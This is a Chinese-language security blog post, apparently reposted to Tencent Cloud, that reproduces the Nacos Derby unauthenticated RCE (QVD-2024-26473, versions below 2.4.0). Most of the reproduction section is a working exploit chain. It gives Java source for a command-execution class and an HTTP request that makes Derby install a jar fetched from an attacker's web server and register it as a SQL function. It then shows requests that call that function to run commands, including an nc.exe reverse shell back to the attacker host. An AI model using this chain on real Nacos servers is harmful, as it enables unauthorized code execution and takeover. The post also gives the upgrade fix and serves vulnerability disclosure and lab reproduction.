前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >QVD-2024-26473:Nacos Derby未授权RCE漏洞

QVD-2024-26473:Nacos Derby未授权RCE漏洞

作者头像
Timeline Sec
发布2024-11-23 14:05:53
发布2024-11-23 14:05:53
61400
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

0x01 简介

Nacos 是一个用于动态服务发现和配置以及服务管理的平台,Derby 是一个Java 类库的形式对外提供服务的数据库引擎。

0x02 漏洞概述

Nacos Derby数据库接口/nacos/v1/cs/ops/derby 和 /nacos/v1/cs/ops/data/removal 存在条件竞争漏洞,攻击者可借此接口执行恶意SQL,加载恶意jar并注册函数,在未授权条件下利用 derby sql 注入漏洞(CVE-2021-29442)调用恶意函数来执行恶意代码。

0x03 影响版本

nacos < 2.4.0

0x04 环境搭建

从官方网站下载安装包,运行命令安装Windows环境

代码语言:javascript
代码运行次数:0
复制
./startup.cmd -m standalone

也可使用docker搭建(注:需要配置/etc/docker/daemon.json)

代码语言:javascript
代码运行次数:0
复制
docker pull nacos/nacos-server:v2.3.2

docker run --name demo-nacos-server \
-p 8848:8848 \
-p 9848:9848 \
-p 9849:9849 \
--privileged=true \
--restart=always \
-e JVM_XMS=256m \
-e JVM_XMX=256m \
-e MODE=standalone \
-e PREFER_HOST_MODE=hostname \
-d nacos/nacos-server:v2.3.2

0x05 漏洞复现

idea编写一个恶意jar(下文中的Example.java)

jar生成

详细步骤见:https://blog.csdn.net/m0_73345433/article/details/136307983

Example.java:

代码语言:javascript
代码运行次数:0
复制
package test.poc;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;

/* loaded from: Example.class */
public class Example {
    public static void main(String[] args) {
        String ret = exec("ipconfig");
        System.out.println(ret);
    }

    public static String exec(String cmd) {
        StringBuffer bf = new StringBuffer();
        try {
            String charset = "utf-8";
            String osName = System.getProperty("os.name");
            if (osName != null && osName.startsWith("Windows")) {
                charset = "gbk";
            }
            Process p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis, charset);
            BufferedReader br = new BufferedReader(isr);
            while (true) {
                String line = br.readLine();
                if (line != null) {
                    bf.append(line);
                } else {
                    return bf.toString();
                }
            }
        } catch (Exception e) {
            StringWriter writer = new StringWriter();
            PrintWriter printer = new PrintWriter(writer);
            e.printStackTrace(printer);
            try {
                writer.close();
                printer.close();
            } catch (IOException e2) {
            }
            return "ERROR:" + writer.toString();
        }
    }
}

使用python起一个web服务,能够访问到test.jar

构造请求,加载命令执行jar

代码语言:javascript
代码运行次数:0
复制
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 192.168.229.1:8848
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 489
Content-Type: multipart/form-data; boundary=2a262c4e7ea55d81b1906382912b7422

--2a262c4e7ea55d81b1906382912b7422
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://192.168.244.133:8000/test.jar', 'NACOS.jtZJBFpM', 0)

        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.jtZJBFpM')

        CREATE FUNCTION S_EXAMPLE_jtZJBFpM( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

--2a262c4e7ea55d81b1906382912b7422--

  • 调用了一个 sqlj.install_jar 存储过程,用于安装一个 JAR 文件。该 JAR 文件被从http://192.168.244.133:8000/test.java下载
  • 调用了 SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY 存储过程,将属性 derby.database.classpath 的值设置为 NACOS.bGgDnUtc,使 Derby 数据库能够加载该 JAR 文件
  • 创建了一个名为 S_EXAMPLE_jtZJBFpM 的方法。该函数的具体实现是在 Java 类 test.poc.Example 的 exec 方法(因为是条件竞赛,id=jtZJBFpM可能会失效,可以用python随机生成)

访问构造的方法,实现命令执行

代码语言:javascript
代码运行次数:0
复制
GET /nacos/v1/cs/ops/derby?sql=select%20*%20from%20(select%20count(*)%20as%20b%2c%20S_EXAMPLE_jtZJBFpM('calc')%20as%20a%20from%20config_info)%20tmp%20%2f*ROWS%20FETCH%20NEXT*%2f HTTP/1.1
Host: 192.168.229.1:8848
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close

反弹shell打开监听端口

构造恶意请求

代码语言:javascript
代码运行次数:0
复制
GET /nacos/v1/cs/ops/derby?sql=select%20*%20from%20(select%20count(*)%20as%20b%2c%20S_EXAMPLE_jtZJBFpM('nc.exe%20-e%20cmd%20192.168.244.133%207777')%20as%20a%20from%20config_info)%20tmp%20%2f*ROWS%20FETCH%20NEXT*%2f HTTP/1.1
Host: 192.168.229.1:8848
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close

成功收到 shell

0x06 修复方式

将组件 nacos 升级至 2.4.0 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-sxgr-j9ak

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 简介
  • 0x02 漏洞概述
  • 0x03 影响版本
  • 0x04 环境搭建
  • 0x05 漏洞复现
  • 0x06 修复方式
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档